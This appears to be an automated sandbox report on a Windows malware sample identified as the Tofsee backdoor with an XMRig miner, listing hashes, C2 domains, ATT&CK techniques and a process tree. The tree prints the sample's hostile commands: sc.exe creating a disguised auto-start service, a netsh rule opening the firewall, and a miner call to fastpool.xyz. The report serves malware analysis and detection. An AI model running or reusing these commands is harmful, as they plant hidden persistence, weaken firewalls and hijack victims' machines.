Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01-12-2022 16:29

General

  • Target

    file.exe

  • Size

    192KB

  • MD5

    3894a58334e66e157e9d18c39bd68f9e

  • SHA1

    ebdc8d605f155c8ceb7cc1f28e8463188ef8eae7

  • SHA256

    7f2449827262abc18421245fb8d65b7eee8dd441baf44742266d9d7633cc079e

  • SHA512

    0375a5330b9808b09cc68e70d3479a241f50e4f56a60c83730dff5fe4b0ee5880d80a3e8b44bd93faccf9fede5d5b961d5972c2e8f502374fed068507f9f0821

  • SSDEEP

    3072:kJ603TxxN3EsBz5/gbVvHI18aC9gH+5paXHDAbEauWa:klV3EsBhgBv9yezvEao

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5032
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ydunjhus\
      2⤵
        PID:4112
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\olfgdlbi.exe" C:\Windows\SysWOW64\ydunjhus\
        2⤵
          PID:5060
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ydunjhus binPath= "C:\Windows\SysWOW64\ydunjhus\olfgdlbi.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1276
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description ydunjhus "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3240
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start ydunjhus
          2⤵
          • Launches sc.exe
          PID:4988
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3848
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 5032 -s 896
          2⤵
          • Program crash
          PID:1132
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 5032 -ip 5032
        1⤵
          PID:4416
        • C:\Windows\SysWOW64\ydunjhus\olfgdlbi.exe
          C:\Windows\SysWOW64\ydunjhus\olfgdlbi.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:2044
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe
            2⤵
            • Sets service image path in registry
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:4628
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:1012
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 2044 -s 528
            2⤵
            • Program crash
            PID:4412
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 2044 -ip 2044
          1⤵
            PID:4912

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\olfgdlbi.exe
            Filesize

            12.5MB

            MD5

            eca4509c8ed96924202740af46f25800

            SHA1

            f2b3e1da44cab3cf8364fc36252169a7c806984b

            SHA256

            3eaeb3644c42794ec4d8110833e3b1386ed990e41e59fa719cab1729f09c9423

            SHA512

            793d85d12d6c511799ec583b831a3a22731515d1ac47adba1813e64359e86208f2e8cb7de8a14a4a131290d13fc022b1204541d68ebd3f8c76808995a659ff7c

          • C:\Windows\SysWOW64\ydunjhus\olfgdlbi.exe
            Filesize

            12.5MB

            MD5

            eca4509c8ed96924202740af46f25800

            SHA1

            f2b3e1da44cab3cf8364fc36252169a7c806984b

            SHA256

            3eaeb3644c42794ec4d8110833e3b1386ed990e41e59fa719cab1729f09c9423

            SHA512

            793d85d12d6c511799ec583b831a3a22731515d1ac47adba1813e64359e86208f2e8cb7de8a14a4a131290d13fc022b1204541d68ebd3f8c76808995a659ff7c

          • memory/1012-177-0x0000000000800000-0x00000000008F1000-memory.dmp
            Filesize

            964KB

          • memory/1012-171-0x0000000000000000-mapping.dmp
          • memory/1012-172-0x0000000000800000-0x00000000008F1000-memory.dmp
            Filesize

            964KB

          • memory/1276-138-0x0000000000000000-mapping.dmp
          • memory/2044-150-0x0000000000400000-0x0000000000466000-memory.dmp
            Filesize

            408KB

          • memory/2044-149-0x0000000000793000-0x00000000007A4000-memory.dmp
            Filesize

            68KB

          • memory/3240-139-0x0000000000000000-mapping.dmp
          • memory/3848-141-0x0000000000000000-mapping.dmp
          • memory/4112-135-0x0000000000000000-mapping.dmp
          • memory/4628-146-0x0000000000720000-0x0000000000735000-memory.dmp
            Filesize

            84KB

          • memory/4628-168-0x00000000029E0000-0x00000000029E7000-memory.dmp
            Filesize

            28KB

          • memory/4628-145-0x0000000000000000-mapping.dmp
          • memory/4628-165-0x0000000007500000-0x000000000790B000-memory.dmp
            Filesize

            4.0MB

          • memory/4628-162-0x00000000029D0000-0x00000000029D5000-memory.dmp
            Filesize

            20KB

          • memory/4628-159-0x0000000001DB0000-0x0000000001DC0000-memory.dmp
            Filesize

            64KB

          • memory/4628-151-0x0000000000720000-0x0000000000735000-memory.dmp
            Filesize

            84KB

          • memory/4628-152-0x0000000000720000-0x0000000000735000-memory.dmp
            Filesize

            84KB

          • memory/4628-153-0x0000000002600000-0x000000000280F000-memory.dmp
            Filesize

            2.1MB

          • memory/4628-156-0x0000000001DA0000-0x0000000001DA6000-memory.dmp
            Filesize

            24KB

          • memory/4988-140-0x0000000000000000-mapping.dmp
          • memory/5032-143-0x00000000004D9000-0x00000000004EA000-memory.dmp
            Filesize

            68KB

          • memory/5032-132-0x00000000004D9000-0x00000000004EA000-memory.dmp
            Filesize

            68KB

          • memory/5032-144-0x0000000000400000-0x0000000000466000-memory.dmp
            Filesize

            408KB

          • memory/5032-134-0x0000000000400000-0x0000000000466000-memory.dmp
            Filesize

            408KB

          • memory/5032-133-0x0000000002060000-0x0000000002073000-memory.dmp
            Filesize

            76KB

          • memory/5060-136-0x0000000000000000-mapping.dmp